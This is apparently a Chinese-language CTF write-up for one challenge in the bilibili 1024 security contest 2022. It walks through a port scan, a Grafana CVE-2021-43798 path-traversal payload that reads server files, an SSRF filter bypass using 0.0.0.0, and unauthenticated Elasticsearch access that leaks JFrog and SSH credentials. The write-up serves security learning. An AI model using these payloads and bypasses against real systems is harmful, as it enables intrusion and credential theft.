[*] alive ports len is: 4
start vulscan
[*] WebTitle:http://101.132.189.74 code:404 len:18 title:None
[*] WebTitle:http://101.132.189.74:8082 code:200 len:3024 title:JFrog
[*] WebTitle:http://101.132.189.74:8081 code:200 len:878 title:None
[*] WebTitle:http://101.132.189.74:8088 code:302 len:29 title:None 跳转url: http://101.132.189.74:8088/login
[*] WebTitle:http://101.132.189.74:8088/login code:200 len:27707 title:Grafana
[+] InfoScan:http://101.132.189.74:8088/login [editor]
已完成 4/4
[*] 扫描结束,耗时: 4.8669157s
8082 和 8081 部署的是 Jfrog 服务,访问下有账号密码要登录,也不存在弱口令。
但是发现8088 端口是Grafana v8.2.6,有个 CVE-2021-43798 可以任意文件读取
/public/plugins/text/../../../../../../../../../../etc/passwd
读 /etc/server.go看看呢
/public/plugins/text/../../../../../../../../../../etc/server.go
server.go代码如下
package server
import (
"fmt"
"github.com/andelf/go-curl"
"github.com/gin-gonic/gin"
"io"
"net"
"net/http"
"net/url"
"os"
"strings"
"crack5/utils/try"
)
/*func Test(buf []byte, userdata interface{}) bool {
println("DEBUG: size=>", len(buf))
println("DEBUG: content=>", string(buf))
return true
}*/
func SecCheck(myurl string) bool {
if strings.Contains(myurl, "@") || strings.Contains(myurl, "./") {
return false
} else {
return true
}
}
func IsInternalIp(host string) bool {
ipaddr, err := net.ResolveIPAddr("ip", host)
if err != nil {
fmt.Println(err)
}
fmt.Println(ipaddr.IP, ipaddr.Zone)
if ipaddr.IP.IsLoopback() {
return true
}
ip4 := ipaddr.IP.To4()
if ip4 == nil {
return false
}
return ip4[0] == 10 ||
(ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31) ||
(ip4[0] == 169 && ip4[1] == 254) ||
(ip4[0] == 192 && ip4[1] == 168)
}
// 解决跨域问题
func Cors() gin.HandlerFunc {
return func(c *gin.Context) {
method := c.Request.Method
c.Header("Access-Control-Allow-Origin", "*")
c.Header("Access-Control-Allow-Headers", "Content-Type,AccessToken,X-CSRF-Token, Authorization, Token")
c.Header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
c.Header("Access-Control-Expose-Headers", "Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type")
c.Header("Access-Control-Allow-Credentials", "true")
if method == "OPTIONS" {
c.AbortWithStatus(http.StatusNoContent)
}
c.Next()
}
}
// GetData
func GetData(c *gin.Context) {
try.Try(func(){
target, status := c.GetQuery("t")
if !status {
c.JSON(http.StatusOK, gin.H{
"msg":"query invalid",
})
return
}
if len(target) >= 128 || !SecCheck(target) {
c.JSON(http.StatusBadRequest, gin.H{
"msg":"illage url",
})
return
}
u, err := url.Parse(target)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"msg":"illage url",
})
return
} else {
if (u.Scheme != "http" && u.Scheme != "https") || IsInternalIp(u.Hostname()) {
c.JSON(http.StatusBadRequest, gin.H{
"msg":"illage url",
})
return
}
easy := curl.EasyInit()
defer easy.Cleanup()
easy.Setopt(curl.OPT_URL, target)
easy.Setopt(curl.OPT_TIMEOUT, 3)
easy.Setopt(curl.OPT_FOLLOWLOCATION, false)
easy.Setopt(curl.OPT_WRITEFUNCTION, func (buf []byte, extra interface{}) bool {
c.Data(http.StatusOK, "text/html", buf)
return true
})
err := easy.Perform()
if err != nil {
fmt.Printf("ERROR: %v\n", err)
return
} else {
c.JSON(http.StatusInternalServerError, nil)
return
}
}
}).Catch(func() {
c.JSON(http.StatusBadGateway, nil)
return
})
}
func Info(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{
"msg":" /etc/server.go",
})
return
}
//
func LoadUrl(r *gin.Engine) {
r.Use(Cors())
r.GET("/get", GetData)
r.GET("/index", Info)
}
func RunAdmin() http.Handler {
gin.DisableConsoleColor()
f, _ := os.Create("./logs/server.log")
gin.DefaultWriter = io.MultiWriter(f)
r := gin.Default()
r.Use(gin.LoggerWithFormatter(func(param gin.LogFormatterParams) string {
return fmt.Sprintf("[Crack5-Web] %s - [%s] \"%s %s %s %d %s \"%s\" %s\"\n",
param.ClientIP,
param.TimeStamp.Format("2006-01-02 15:04:05"),
param.Method,
param.Path,
param.Request.Proto,
param.StatusCode,
param.Latency,
param.Request.UserAgent(),
param.ErrorMessage,
)
}))
r.Use(gin.Recovery())
LoadUrl(r)
return r
}
观察下可以发现/get 下可以GET传参 t 给个 url 来访问这个url,可以利用SSRF
但是会有waf进行检测
func SecCheck(myurl string) bool {
if strings.Contains(myurl, "@") || strings.Contains(myurl, "./") {
return false
} else {
return true
}
}
func IsInternalIp(host string) bool {
ipaddr, err := net.ResolveIPAddr("ip", host)
if err != nil {
fmt.Println(err)
}
fmt.Println(ipaddr.IP, ipaddr.Zone)
if ipaddr.IP.IsLoopback() {
return true
}
ip4 := ipaddr.IP.To4()
if ip4 == nil {
return false
}
return ip4[0] == 10 ||
(ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31) ||
(ip4[0] == 169 && ip4[1] == 254) ||
(ip4[0] == 192 && ip4[1] == 168)
}
这里 IsLoopback 这个函数,这个函数用于判断解析的 ip 地址是否是回环地址,127.0.0.1 是回环地址,返回 true 检测到,无法使用这个来打内网服务。这里可以使用 0.0.0.0 来绕过(不是回环地址,但也是从本机访问的地址)

爆破下内部端口,可以扫出来很多

9200端口比较显眼,是elasticsearch端口
{
"name" : "ali-sh-sec-ctf-25aaa86-01",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "ikcj8ysFR2KnnTa5chqvUA",
"version" : {
"number" : "7.17.6",
"build_flavor" : "default",
"build_type" : "deb",
"build_hash" : "f65e9d338dc1d07b642e14a27f338990148ee5b6",
"build_date" : "2022-08-23T11:08:48.893373482Z",
"build_snapshot" : false,
"lucene_version" : "8.11.1",
"minimum_wire_compatibility_version" : "6.8.0",
"minimum_index_compatibility_version" : "6.0.0-beta1"
},
"tagline" : "You Know, for Search"
}
返回的这个内容给了集群名称 cluster_name ,是 elasticsearch 服务,网上查下这个服务的漏洞,发现有未授权访问漏洞。
参考这篇文章《ElasticSearch 未授权访问记录(端口:9200)》
这里跟目录就是默认账户,直接访问 /_search 就得到数据库里的信息了

得到用户名和密码,放 8082 端口上的那个 JFrog 上登录下,发现成功登录。
在里面的 Artifacts 里搜索 ssh 能拿到 2222 端口的ssh连接用户名和密码。


第六题
《bilibili 1024安全挑战赛 2022 第六题 writeup》
参考资料
- PHP冰蝎加密流量检测破解 https://liriu.life/PHP-5ba36eb0362743ed8fa5588c97325f7e
- bilibili 1024 安全攻防挑战赛 第三题 https://www.bilibili.com/read/cv19459180
- bilibili 1024 安全攻防挑战赛 第二题 https://www.bilibili.com/read/cv19457507
- b站1024安全攻防挑战赛1、2、5题 https://www.bilibili.com/read/cv19453512
- bilibili 1024安全挑战赛 2022 第四题 writeup https://www.bilibili.com/read/cv19460514